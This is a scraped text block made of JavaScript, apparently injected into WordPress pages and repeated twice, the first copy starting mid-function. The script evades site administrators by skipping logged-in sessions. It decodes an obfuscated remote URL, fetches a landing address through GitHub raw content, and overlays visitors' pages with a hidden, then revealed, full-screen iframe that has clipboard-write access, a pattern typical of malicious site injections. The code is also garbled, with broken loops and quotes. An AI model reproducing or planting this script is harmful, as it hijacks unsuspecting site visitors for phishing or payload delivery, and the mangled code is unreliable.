if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();